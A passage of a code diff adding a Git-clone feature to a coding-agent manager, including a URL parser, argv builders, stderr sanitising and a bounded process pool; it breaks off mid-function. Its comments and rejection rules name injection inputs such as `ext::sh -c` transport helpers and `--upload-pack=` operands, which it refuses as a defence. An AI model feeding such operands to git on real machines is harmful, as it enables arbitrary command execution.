+- ⚠️ **Bounded in time, output and concurrency.** Timeout → SIGTERM → SIGKILL, signalled to the whole process GROUP (`detached: true`, negative pid) because `git clone` fans out into `git-remote-https`/`index-pack` children that a polite signal to the parent leaves running. stderr is kept as a bounded, credential-redacted, control-stripped TAIL; `ls-remote` stdout is capped and refs are capped at 500 each. A small global pool (default 2, `CODEMAN_MAX_GIT_OPERATIONS`) caps concurrent git network ops, same reasoning as `document-conversion-limiter.ts`.
+- **Repository contents beat scaffolding.** An existing `CLAUDE.md` is kept (a generated one is written only when absent) and hooks are MERGED into whatever `.claude/settings.local.json` the repo shipped. A repo that ships its own `.claude/settings*.json` is reported back as a warning, because repo-supplied hooks run on the user's machine as soon as a session starts there.
+- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
+- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
+- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
+- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
+
+Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
+
 ### Ultracode and workflow-run visualization
 
 **Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a COMPLETION artifact per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` (written only at run end); LIVE in-flight runs exist only as transcript dirs at `…/subagents/workflows/wf_<id>/` (journal.jsonl + `agent-*.jsonl`). `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; separate singleton, though it independently reads the same `subagents/workflows/` tree) scans BOTH sources via periodic poll + per-directory chokidar watchers with per-source mtime skip (LRU agentStatCache + journalCache), synthesizing ACTIVE runs (live per-agent tokens/tools/state from transcripts, title/phases from the workflow script) until the completion `wf_*.json` appears and supersedes, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is started when **either** `showUltracodeAgents` **or** `ultracodeFloatingWindows` is on (`server.ts` `isWorkflowAgentTrackingEnabled()` returns `(showUltracodeAgents ?? false) || (ultracodeFloatingWindows ?? false)`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on a **DEDICATED** `ultracodeFloatingWindows` toggle, default OFF — independent of the dock panel's `showUltracodeAgents`; see `_ultracodeFloatingEnabled()`), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Clicking an agent card opens an **in-page** connected transcript window (not a browser popup); both run and transcript windows minimize **into** the originating session tab as a merged `ULTRA` badge (🧬 runs / 📄 transcripts) with a restore/dismiss dropdown — minimized runs are skipped by auto-pop. Gesture beta: floating subagent/ultracode windows are pinch-draggable (a `window` grab kind in `entry.ts`). Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.

package-lock.json

@@ -1,12 +1,12 @@
 {
   "name": "aicodeman",
-  "version": "1.16.0",
+  "version": "1.16.1",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "aicodeman",
-      "version": "1.16.0",
+      "version": "1.16.1",
       "hasInstallScript": true,
       "license": "MIT",
       "workspaces": [

package.json

@@ -1,6 +1,6 @@
 {
   "name": "aicodeman",
-  "version": "1.16.0",
+  "version": "1.16.1",
   "description": "Mission control for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
   "type": "module",
   "main": "dist/index.js",

src/git-clone.ts

@@ -0,0 +1,884 @@
+/**
+ * @fileoverview Clone a Git repository into a case (issue #236).
+ *
+ * Split deliberately into a PURE half (URL parsing, argv/env construction,
+ * `ls-remote` output parsing, git-stderr classification) and a thin IO half
+ * (`probeGitRemote`, `cloneRepository`). The pure half is where every security
+ * decision lives, so it is unit-testable without spawning anything.
+ *
+ * ## Why the URL is parsed rather than passed through
+ *
+ * `git clone` accepts far more than "a URL". Two families are dangerous:
+ *
+ * - **Transport helpers** — `ext::sh -c <cmd>` makes git execute an arbitrary
+ *   command as the transport. `fd::`, and any other `<name>::<payload>` form,
+ *   dispatch to a `git-remote-<name>` helper. A clone endpoint that forwards
+ *   these is remote code execution, so `::` forms are rejected outright.
+ * - **Option-shaped operands** — a repository starting with `-` is read by git
+ *   as a flag (`--upload-pack=...`). We reject leading `-` AND pass `--` before
+ *   the operands, because either alone is one typo away from being a hole.
+ *
+ * Everything is spawned with an argv array and NEVER through a shell, so quoting
+ * is not part of the threat model here (unlike the ssh path in remote-hosts.ts,
+ * which genuinely does build a shell line and must `shellescape`).
+ *
+ * ## Credentials are deliberately absent
+ *
+ * Codeman collects no tokens, and a URL carrying `user:password@` is rejected —
+ * it would end up in error text, logs and (via the case name suggestion) the UI.
+ * `GIT_TERMINAL_PROMPT=0` plus the askpass/BatchMode env below guarantees a
+ * private repo fails FAST instead of hanging the open HTTP request on an
+ * invisible username prompt. If the host's own git config (a credential helper,
+ * an ssh agent, `insteadOf` rules) happens to authenticate, that is the user's
+ * existing setup working — Codeman neither supplies nor stores anything.
+ *
+ * ## Bounded by construction
+ *
+ * Every git spawn has a timeout, a hard kill escalation, captured-output caps,
+ * and shares a small global concurrency pool (same reasoning as
+ * `document-conversion-limiter.ts`: N simultaneous clones of large repos is a
+ * localhost resource-exhaustion vector). The pool's waiter queue is itself
+ * bounded (overflow answers BUSY immediately), and time spent queued counts
+ * against the operation's own deadline, so a caller's timeout bounds the whole
+ * call rather than starting when a slot happens to free up. Cloning is
+ * otherwise unbounded in disk and time, which is exactly why the caller must
+ * treat the timeout as normal.
+ *
+ * @module git-clone
+ */
+
+import { spawn, execFileSync } from 'node:child_process';
+import { randomBytes } from 'node:crypto';
+import { existsSync } from 'node:fs';
+import { rename, rm } from 'node:fs/promises';
+import { basename, dirname, join } from 'node:path';
+import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
+
+// ─── Tunables ────────────────────────────────────────────────────────────────
+
+/** Read a positive-integer env override, clamped into [min, max]. */
+function envMs(name: string, fallback: number, min: number, max: number): number {
+  const raw = Number(process.env[name]);
+  if (!Number.isFinite(raw) || raw <= 0) return fallback;
+  return Math.min(max, Math.max(min, Math.floor(raw)));
+}
+
+/**
+ * Wall-clock budget for one `git clone`. Deliberately generous (a real repo over
+ * a slow link legitimately takes minutes) but always finite: the HTTP request is
+ * held open for the duration, so an unbounded clone would be an unbounded
+ * request. Override with CODEMAN_GIT_CLONE_TIMEOUT_MS.
+ */
+export const GIT_CLONE_TIMEOUT_MS = envMs('CODEMAN_GIT_CLONE_TIMEOUT_MS', 300_000, 10_000, 3_600_000);
+
+/**
+ * Budget for the `ls-remote` preflight. Short on purpose — it exists to answer
+ * "can this be cloned without credentials?" while the user is still typing.
+ * Override with CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS.
+ */
+export const GIT_LS_REMOTE_TIMEOUT_MS = envMs('CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS', 20_000, 2_000, 120_000);
+
+/** Concurrent git network operations allowed process-wide. Override with CODEMAN_MAX_GIT_OPERATIONS. */
+const MAX_CONCURRENT_GIT_OPERATIONS = (() => {
+  const raw = Number(process.env.CODEMAN_MAX_GIT_OPERATIONS);
+  return Number.isFinite(raw) && raw >= 1 ? Math.floor(raw) : 2;
+})();
+
+/**
+ * Waiters allowed BEHIND the pool before new work is refused outright with
+ * BUSY. Without a bound, every queued request holds its HTTP connection (and
+ * its closure) open indefinitely, so a burst of clone requests becomes the
+ * memory/socket exhaustion the pool exists to prevent. Override with
+ * CODEMAN_MAX_GIT_QUEUE (0 disables queuing entirely).
+ */
+const MAX_QUEUED_GIT_OPERATIONS = (() => {
+  const raw = Number(process.env.CODEMAN_MAX_GIT_QUEUE);
+  return Number.isFinite(raw) && raw >= 0 ? Math.floor(raw) : 16;
+})();
+
+/** Longest accepted repository operand. Real URLs are far shorter; this bounds abuse. */
+const MAX_REPOSITORY_LENGTH = 2048;
+/** Longest accepted branch/tag. git's own limit is much higher; 200 covers every real ref. */
+const MAX_REF_LENGTH = 200;
+/** Captured stderr returned to the client, in bytes (the tail is the useful part). */
+const MAX_STDERR_BYTES = 8_192;
+/** Captured `ls-remote` stdout. A busy monorepo can list tens of thousands of refs. */
+const MAX_LS_REMOTE_BYTES = 2_000_000;
+/** Refs of each kind surfaced to the UI picker. */
+const MAX_REFS_RETURNED = 500;
+
+// ─── Types ───────────────────────────────────────────────────────────────────
+
+/** Transports Codeman is willing to hand to git. */
+export type GitTransport = 'https' | 'http' | 'ssh' | 'git' | 'local';
+
+export type GitUrlRejectionCode =
+  | 'EMPTY'
+  | 'TOO_LONG'
+  | 'CONTROL_CHARS'
+  | 'OPTION_LIKE'
+  | 'TRANSPORT_HELPER'
+  | 'UNSUPPORTED_TRANSPORT'
+  | 'CREDENTIALS_IN_URL'
+  | 'NO_REPOSITORY_NAME'
+  | 'BAD_SYNTAX';
+
+/** A repository operand Codeman is willing to clone. */
+export interface GitUrlAccepted {
+  cloneable: true;
+  /** The exact operand handed to git, after `--`. Never shell-interpolated. */
+  repository: string;
+  transport: GitTransport;
+  /** Hostname (empty for `local`). */
+  host: string;
+  /** Owner/org path prefix, `/`-joined; empty when the URL has none. */
+  owner: string;
+  /** Final path segment with any `.git` suffix removed. */
+  repo: string;
+  /** Display label for the host, e.g. `GitHub`. Falls back to the bare host. */
+  provider: string;
+  /** Case-name suggestion derived from `repo`; `''` when nothing usable survives. */
+  suggestedName: string;
+  /** Non-blocking advisories to show next to the input. */
+  warnings: string[];
+}
+
+/** A repository operand Codeman refuses, with the reason to show the user. */
+export interface GitUrlRejected {
+  cloneable: false;
+  code: GitUrlRejectionCode;
+  /** User-facing, safe to render as text. */
+  message: string;
+}
+
+export type GitUrlParse = GitUrlAccepted | GitUrlRejected;
+
+/** What `ls-remote` told us about a remote. */
+export interface GitRemoteProbe {
+  reachable: boolean;
+  /** Branch `HEAD` points at, when the remote advertises a symref. */
+  defaultBranch?: string;
+  branches: string[];
+  tags: string[];
+  /** Set when `reachable` is false. */
+  failure?: GitFailure;
+  /** True when refs were dropped to stay under the surfaced-refs cap. */
+  truncated?: boolean;
+}
+
+export type GitFailureCode =
+  | 'GIT_MISSING'
+  | 'TIMEOUT'
+  | 'AUTH_REQUIRED'
+  | 'NOT_FOUND'
+  | 'REF_NOT_FOUND'
+  | 'HOST_UNREACHABLE'
+  | 'DESTINATION_EXISTS'
+  | 'BUSY'
+  | 'FAILED';
+
+export interface GitFailure {
+  code: GitFailureCode;
+  /** User-facing summary. */
+  message: string;
+  /** Tail of git's own stderr, control-stripped and credential-redacted. */
+  stderr: string;
+}
+
+export interface CloneOptions {
+  /** Pre-validated operand from `parseGitRepositoryUrl`. */
+  repository: string;
+  /** Absolute destination directory. Must NOT exist; created by git. */
+  destination: string;
+  /** Optional branch or tag (`--branch <ref> --single-branch`). */
+  ref?: string;
+  /** `--depth 1`: history-less but much faster on large repos. */
+  shallow?: boolean;
+  timeoutMs?: number;
+}
+
+export type CloneResult = { ok: true; stderr: string } | { ok: false; failure: GitFailure };
+
+// ─── Pure: repository URL parsing ────────────────────────────────────────────
+
+/** Hosts worth naming in the UI. Anything else shows its bare hostname. */
+const PROVIDER_LABELS: Record<string, string> = {
+  'github.com': 'GitHub',
+  'www.github.com': 'GitHub',
+  'gist.github.com': 'GitHub Gist',
+  'gitlab.com': 'GitLab',
+  'bitbucket.org': 'Bitbucket',
+  'codeberg.org': 'Codeberg',
+  'git.sr.ht': 'SourceHut',
+  'dev.azure.com': 'Azure DevOps',
+  'ssh.dev.azure.com': 'Azure DevOps',
+  'huggingface.co': 'Hugging Face',
+};
+
+/** `scheme://` prefix. */
+const SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):\/\//;
+/** `<helper>::<payload>` — git transport helper dispatch (includes `ext::`). */
+const TRANSPORT_HELPER_RE = /^[a-zA-Z0-9][a-zA-Z0-9+.-]*::/;
+/** scp-like `[user@]host:path`, the form GitHub prints as "SSH". */
+const SCP_LIKE_RE = /^(?:([^@/\s]+)@)?([^:/\s]+):(?!\/)(.+)$/;
+/** `C:\repos\x` / `C:/repos/x` — a Windows path, not an scp-like host. */
+const WINDOWS_PATH_RE = /^[a-zA-Z]:[\\/]/;
+/** Hostname or bracketed IPv6 literal, with an optional `:port`. */
+const HOST_RE = /^(?:\[[0-9a-fA-F:.]+\]|[a-zA-Z0-9](?:[a-zA-Z0-9\-.]*[a-zA-Z0-9])?)(?::\d{1,5})?$/;
+/** Anything git would not accept quietly in a branch/tag name. */
+const SAFE_REF_RE = /^[A-Za-z0-9][A-Za-z0-9._/\-+]*$/;
+
+/**
+ * Turn a repository name into a Codeman case name.
+ *
+ * Case names are `[a-zA-Z0-9_-]+` everywhere else in the app (`SAFE_CASE_NAME`
+ * in case-routes.ts, `CreateCaseSchema`), so anything else collapses to `-`.
+ * Returns `''` when nothing usable survives, which the UI treats as "the user
+ * must type a name" rather than silently inventing one.
+ */
+export function suggestCaseNameFromRepo(repo: string): string {
+  const cleaned = repo
+    .replace(/\.git$/i, '')
+    .replace(/[^a-zA-Z0-9_-]+/g, '-')
+    .replace(/-{2,}/g, '-')
+    .replace(/^[-_]+|[-_]+$/g, '')
+    .slice(0, 64)
+    .replace(/[-_]+$/g, '');
+  return /^[a-zA-Z0-9_-]+$/.test(cleaned) ? cleaned : '';
+}
+
+function reject(code: GitUrlRejectionCode, message: string): GitUrlRejected {
+  return { cloneable: false, code, message };
+}
+
+/** Split `owner/sub/repo(.git)` into its owner prefix and repo name. */
+function splitRepoPath(rawPath: string): { owner: string; repo: string } {
+  const segments = rawPath.replace(/^\/+/, '').replace(/\/+$/, '').split('/').filter(Boolean);
+  const last = segments.pop() ?? '';
+  return { owner: segments.join('/'), repo: last.replace(/\.git$/i, '') };
+}
+
+function accept(
+  parts: Omit<GitUrlAccepted, 'cloneable' | 'provider' | 'suggestedName'> & { warnings: string[] }
+): GitUrlParse {
+  if (!parts.repo) {
+    return reject(
+      'NO_REPOSITORY_NAME',
+      'That URL has no repository name in it. Expected something like https://github.com/owner/repo.git'
+    );
+  }
+  return {
+    cloneable: true,
+    ...parts,
+    provider: PROVIDER_LABELS[parts.host.toLowerCase()] || parts.host || 'local path',
+    suggestedName: suggestCaseNameFromRepo(parts.repo),
+  };
+}
+
+/**
+ * Decide whether `input` is something Codeman will hand to `git clone`, and pull
+ * the pieces the UI needs (provider, owner/repo, suggested case name) out of it.
+ *
+ * This is the security boundary for the clone endpoint. Read the module header
+ * before loosening any branch here — `ext::`-style transports and
+ * option-shaped operands are the two that turn a clone into arbitrary code
+ * execution.
+ *
+ * Accepting a URL says nothing about whether the remote EXISTS or is public;
+ * only `probeGitRemote` can answer that.
+ */
+export function parseGitRepositoryUrl(input: string): GitUrlParse {
+  const raw = (input ?? '').trim();
+  if (!raw) return reject('EMPTY', 'Enter a repository URL.');
+  if (raw.length > MAX_REPOSITORY_LENGTH) {
+    return reject('TOO_LONG', `Repository URL is too long (max ${MAX_REPOSITORY_LENGTH} characters).`);
+  }
+  // eslint-disable-next-line no-control-regex -- deliberate: reject C0/C1 and DEL.
+  if (/[\u0000-\u001f\u007f-\u009f]/.test(raw)) {
+    return reject('CONTROL_CHARS', 'Repository URL contains control characters.');
+  }
+  if (raw.startsWith('-')) {
+    // git would read this as a flag. `--` before the operands makes this
+    // defence redundant; both stay, because either one alone is fragile.
+    return reject('OPTION_LIKE', 'Repository URL may not start with "-".');
+  }
+  if (TRANSPORT_HELPER_RE.test(raw)) {
+    return reject(
+      'TRANSPORT_HELPER',
+      'Transport helpers such as "ext::" are refused: they let a URL run commands on this machine.'
+    );
+  }
+
+  const schemeMatch = SCHEME_RE.exec(raw);
+  if (schemeMatch) {
+    const scheme = schemeMatch[1].toLowerCase();
+    if (scheme === 'file') return parseLocalSource(raw.slice('file://'.length), raw);
+    if (scheme !== 'https' && scheme !== 'http' && scheme !== 'ssh' && scheme !== 'git') {
+      return reject(
+        'UNSUPPORTED_TRANSPORT',
+        `Unsupported transport "${scheme}://". Use https://, ssh://, git:// or an SSH address like git@host:owner/repo.git`
+      );
+    }
+    let url: URL;
+    try {
+      url = new URL(raw);
+    } catch {
+      return reject('BAD_SYNTAX', 'That does not look like a valid URL.');
+    }
+    if (url.password) {
+      return reject(
+        'CREDENTIALS_IN_URL',
+        'Remove the password from the URL. Codeman never accepts or stores Git credentials.'
+      );
+    }
+    const host = url.host;
+    if (!host || !HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That URL has no usable hostname.');
+    // `new URL` tolerates malformed percent-escapes ("%zz" passes through), but
+    // decodeURIComponent throws on them: uncaught, that URIError was a 500 for
+    // what is simply a malformed URL.
+    let pathname: string;
+    try {
+      pathname = decodeURIComponent(url.pathname);
+    } catch {
+      return reject('BAD_SYNTAX', 'That URL contains an invalid percent-escape.');
+    }
+    const { owner, repo } = splitRepoPath(pathname);
+
+    const warnings: string[] = [];
+    if (scheme === 'http') warnings.push('Plain http:// is unencrypted. Prefer https:// when the host offers it.');
+    if (scheme === 'git') warnings.push('git:// is unauthenticated and unencrypted. Prefer https:// when possible.');
+    if (scheme === 'ssh') warnings.push(sshWarning(host));
+    if (url.username && scheme !== 'ssh') {
+      warnings.push('The username in the URL is passed to git as-is; Codeman supplies no password for it.');
+    }
+    return accept({
+      repository: raw,
+      transport: scheme as GitTransport,
+      host,
+      owner,
+      repo,
+      warnings,
+    });
+  }
+
+  if (raw.startsWith('/')) return parseLocalSource(raw, raw);
+  if (WINDOWS_PATH_RE.test(raw)) return parseLocalSource(raw, raw);
+  if (raw.startsWith('~') || raw.startsWith('./') || raw.startsWith('../')) {
+    return reject(
+      'BAD_SYNTAX',
+      'Use an absolute path for a local repository (no "~" or relative paths), or a full URL.'
+    );
+  }
+
+  const scp = SCP_LIKE_RE.exec(raw);
+  if (scp) {
+    const host = scp[2];
+    if (!HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That does not look like a valid SSH address.');
+    if (scp[1]?.includes(':')) {
+      return reject(
+        'CREDENTIALS_IN_URL',
+        'Remove the password from the address. Codeman never accepts or stores Git credentials.'
+      );
+    }
+    const { owner, repo } = splitRepoPath(scp[3]);
+    return accept({
+      repository: raw,
+      transport: 'ssh',
+      host,
+      owner,
+      repo,
+      warnings: [sshWarning(host)],
+    });
+  }
+
+  return reject(
+    'BAD_SYNTAX',
+    'Enter a full repository URL, e.g. https://github.com/owner/repo.git or git@github.com:owner/repo.git'
+  );
+}
+
+function sshWarning(host: string): string {
+  return `SSH clones use this machine's existing ssh keys and known_hosts for ${host}. Codeman adds no credentials, so an unconfigured key fails immediately instead of prompting.`;
+}
+
+/**
+ * A local source (`file://…` or an absolute path). Kept because cloning a repo
+ * that already exists on this machine is genuinely useful and involves no
+ * network at all. Existence is NOT checked here (this half stays free of IO):
+ * git reports a missing path perfectly well, and the preflight surfaces it.
+ *
+ * The route gates local sources to admins in multi-user mode: a per-user case
+ * space is a read boundary, and a local clone would read straight through it
+ * (the same reason `/api/cases/link` is admin-only there).
+ */
+function parseLocalSource(path: string, original: string): GitUrlParse {
+  const cleaned = path.replace(/\/+$/, '');
+  if (!cleaned || (!cleaned.startsWith('/') && !WINDOWS_PATH_RE.test(cleaned))) {
+    return reject('BAD_SYNTAX', 'Local repository paths must be absolute.');
+  }
+  const { owner, repo } = splitRepoPath(cleaned);
+  return accept({
+    repository: original,
+    transport: 'local',
+    host: '',
+    owner: owner ? `/${owner}` : '',
+    repo,
+    warnings: ['Local clone: git copies from this machine, no network involved.'],
+  });
+}
+
+/** Is `ref` safe to pass as `--branch <ref>`? Rejects flags, spaces and `..`. */
+export function isSafeGitRef(ref: string): boolean {
+  if (!ref || ref.length > MAX_REF_LENGTH) return false;
+  if (ref.includes('..') || ref.includes('@{') || ref.endsWith('.lock') || ref.endsWith('/')) return false;
+  return SAFE_REF_RE.test(ref);
+}
+
+// ─── Pure: argv + env ────────────────────────────────────────────────────────
+
+/**
+ * argv for the clone. `--` separates flags from operands so neither the
+ * repository nor the destination can ever be read as an option.
+ */
+export function buildCloneArgs(opts: CloneOptions): string[] {
+  const args = ['clone'];
+  // `--single-branch` is what makes "just this tag/branch" cheap on a big repo.
+  if (opts.ref) args.push('--single-branch', '--branch', opts.ref);
+  if (opts.shallow) args.push('--depth', '1');
+  args.push('--', opts.repository, opts.destination);
+  return args;
+}
+
+/** argv for the preflight. `--symref` is what reveals the remote's default branch. */
+export function buildLsRemoteArgs(repository: string): string[] {
+  return ['ls-remote', '--symref', '--', repository];
+}
+
+/**
+ * Environment that makes git fail instead of blocking on a prompt.
+ *
+ * Every entry closes one way an interactive git can hang a request that has no
+ * terminal attached: the built-in prompt, a GUI/askpass helper, an ssh
+ * host-key or passphrase prompt, and Git Credential Manager. `HOME` and `PATH`
+ * are inherited on purpose — a user whose own ssh agent or credential helper
+ * already works should keep working.
+ */
+export function gitNonInteractiveEnv(base: NodeJS.ProcessEnv = process.env): NodeJS.ProcessEnv {
+  return {
+    ...base,
+    GIT_TERMINAL_PROMPT: '0',
+    GIT_ASKPASS: '',
+    SSH_ASKPASS: '',
+    SSH_ASKPASS_REQUIRE: 'never',
+    DISPLAY: '',
+    GCM_INTERACTIVE: 'never',
+    GIT_SSH_COMMAND:
+      base.GIT_SSH_COMMAND || 'ssh -oBatchMode=yes -oStrictHostKeyChecking=accept-new -oConnectTimeout=10',
+  };
+}
+
+// ─── Pure: output handling ───────────────────────────────────────────────────
+
+/**
+ * Make git's stderr safe to show in the browser: strip ANSI/control bytes,
+ * redact any `scheme://user:secret@host` that a credential helper echoed back,
+ * and keep only the tail (the last lines are the ones that say why it failed).
+ */
+export function sanitizeGitOutput(text: string, maxBytes = MAX_STDERR_BYTES): string {
+  const redacted = text
+    .replace(/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/@\s]*:[^/@\s]*@/g, '$1***:***@')
+    // eslint-disable-next-line no-control-regex -- deliberate: strip C0/C1 and DEL.
+    .replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, '')
+    .trim();
+  return redacted.length > maxBytes ? `…${redacted.slice(-maxBytes)}` : redacted;
+}
+
+/** Parse `git ls-remote --symref` output into a default branch plus ref lists. */
+export function parseLsRemoteOutput(stdout: string): {
+  defaultBranch?: string;
+  branches: string[];
+  tags: string[];
+  truncated: boolean;
+} {
+  let defaultBranch: string | undefined;
+  const branches: string[] = [];
+  const tags: string[] = [];
+  let truncated = false;
+
+  for (const line of stdout.split('\n')) {
+    const trimmed = line.trim();
+    if (!trimmed) continue;
+    const symref = /^ref:\s+refs\/heads\/(\S+)\s+HEAD$/.exec(trimmed);
+    if (symref) {
+      defaultBranch = symref[1];
+      continue;
+    }
+    const ref = /^[0-9a-f]{40,64}\s+(\S+)$/.exec(trimmed);
+    if (!ref) continue;
+    const name = ref[1];
+    // Peeled tags (`refs/tags/v1^{}`) duplicate their tag; drop them.
+    if (name.endsWith('^{}')) continue;
+    if (name.startsWith('refs/heads/')) {
+      if (branches.length < MAX_REFS_RETURNED) branches.push(name.slice('refs/heads/'.length));
+      else truncated = true;
+    } else if (name.startsWith('refs/tags/')) {
+      if (tags.length < MAX_REFS_RETURNED) tags.push(name.slice('refs/tags/'.length));
+      else truncated = true;
+    }
+  }
+  return { defaultBranch, branches, tags, truncated };
+}
+
+/**
+ * Turn a git failure into something actionable.
+ *
+ * The AUTH_REQUIRED wording matters: GitHub answers "Repository not found" for a
+ * private repo AND for a typo when unauthenticated, so a bare "not found" would
+ * send people hunting for a spelling mistake that isn't there.
+ */
+export function classifyGitFailure(stderr: string, timedOut: boolean, spawnError?: string): GitFailure {
+  const clean = sanitizeGitOutput(stderr);
+  const lower = `${clean}\n${spawnError ?? ''}`.toLowerCase();
+
+  if (spawnError && /enoent/i.test(spawnError)) {
+    return {
+      code: 'GIT_MISSING',
+      message: 'git is not installed on this machine (or not on the server\u2019s PATH).',
+      stderr: clean,
+    };
+  }
+  if (spawnError && spawnError.startsWith('EBUSY')) {
+    return {
+      code: 'BUSY',
+      message: 'Too many git operations are already running on this server. Try again in a moment.',
+      stderr: clean,
+    };
+  }
+  if (timedOut) {
+    return {
+      code: 'TIMEOUT',
+      message:
+        'Git timed out. Large repositories may need the shallow option, or a longer CODEMAN_GIT_CLONE_TIMEOUT_MS.',
+      stderr: clean,
+    };
+  }
+  if (
+    /could not read username|authentication failed|terminal prompts disabled|permission denied \(publickey\)|invalid username or password|access denied/.test(
+      lower
+    )
+  ) {
+    return {
+      code: 'AUTH_REQUIRED',
+      message:
+        'That repository needs authentication. Codeman clones without credentials, so private repositories have to be cloned outside Codeman and added with Link Existing.',
+      stderr: clean,
+    };
+  }
+  if (/remote branch .* not found|could not find remote branch|pathspec .* did not match/.test(lower)) {
+    return { code: 'REF_NOT_FOUND', message: 'That branch or tag does not exist on the remote.', stderr: clean };
+  }
+  if (
+    /repository not found|not found|does not exist|does not appear to be a git repository|no such file or directory/.test(
+      lower
+    )
+  ) {
+    return {
+      code: 'NOT_FOUND',
+      message:
+        'Repository not found. Check the URL, since hosts also answer "not found" for private repositories when no credentials are supplied.',
+      stderr: clean,
+    };
+  }
+  if (/could not resolve host|connection refused|connection timed out|network is unreachable|ssl|tls/.test(lower)) {
+    return { code: 'HOST_UNREACHABLE', message: 'Could not reach that host from this machine.', stderr: clean };
+  }
+  if (/already exists and is not an empty directory|destination path .* already exists/.test(lower)) {
+    return { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: clean };
+  }
+  return { code: 'FAILED', message: clean ? `git failed: ${firstLine(clean)}` : 'git failed.', stderr: clean };
+}
+
+function firstLine(text: string): string {
+  const line = text.split('\n').find((l) => l.trim().length > 0) ?? '';
+  return line.length > 300 ? `${line.slice(0, 300)}…` : line;
+}
+
+// ─── IO: bounded git spawns ──────────────────────────────────────────────────
+
+let activeGitOperations = 0;
+
+type SlotAcquisition = 'acquired' | 'queue-full' | 'timed-out';
+interface GitSlotWaiter {
+  grant: () => void;
+}
+const gitWaiters: GitSlotWaiter[] = [];
+
+/** Test/diagnostic hook: git operations currently holding a slot. */
+export function getActiveGitOperationCount(): number {
+  return activeGitOperations;
+}
+
+/** Test/diagnostic hook: git operations currently queued behind the pool. */
+export function getQueuedGitOperationCount(): number {
+  return gitWaiters.length;
+}
+
+/**
+ * Acquire a pool slot, waiting at most `maxWaitMs` in a BOUNDED queue.
+ *
+ * Both failure modes resolve (never reject): a full queue answers immediately,
+ * and a queue wait that exhausts the caller's deadline removes itself before
+ * resolving, so an abandoned waiter can never be granted a slot later and leak
+ * it.
+ */
+function acquireGitSlot(maxWaitMs: number): Promise<SlotAcquisition> {
+  if (activeGitOperations < MAX_CONCURRENT_GIT_OPERATIONS) {
+    activeGitOperations++;
+    return Promise.resolve('acquired');
+  }
+  if (gitWaiters.length >= MAX_QUEUED_GIT_OPERATIONS) return Promise.resolve('queue-full');
+  return new Promise<SlotAcquisition>((resolve) => {
+    const waiter: GitSlotWaiter = {
+      grant: () => {
+        clearTimeout(timer);
+        resolve('acquired');
+      },
+    };
+    const timer = setTimeout(() => {
+      const idx = gitWaiters.indexOf(waiter);
+      if (idx !== -1) gitWaiters.splice(idx, 1);
+      resolve('timed-out');
+    }, maxWaitMs);
+    gitWaiters.push(waiter);
+  });
+}
+
+function releaseGitSlot(): void {
+  const next = gitWaiters.shift();
+  // Hand the slot straight over so the active count can never exceed the cap.
+  if (next) next.grant();
+  else activeGitOperations--;
+}
+
+interface GitRun {
+  stdout: string;
+  stderr: string;
+  code: number | null;
+  timedOut: boolean;
+  spawnError?: string;
+}
+
+/**
+ * Run git with a hard wall-clock bound and capped output capture.
+ *
+ * SIGTERM then SIGKILL, because `git clone` fans out into `git-remote-https` /
+ * `git index-pack` children: a single polite signal to the parent can leave the
+ * fetch running. `detached: true` puts the whole tree in its own process group
+ * so the escalation kills the children too, which is also why the negative-pid
+ * signal is used rather than `child.kill()`.
+ */
+async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number): Promise<GitRun> {
+  // The queue wait spends the SAME deadline as the operation: `timeoutMs` is a
+  // promise about the whole call, not about git's runtime after some unbounded
+  // wait. A full queue is refused outright rather than queued.
+  const queuedAt = Date.now();
+  const slot = await acquireGitSlot(timeoutMs);
+  if (slot === 'queue-full') {
+    return { stdout: '', stderr: '', code: null, timedOut: false, spawnError: 'EBUSY: git operation queue is full' };
+  }
+  if (slot === 'timed-out') {
+    return { stdout: '', stderr: '', code: null, timedOut: true };
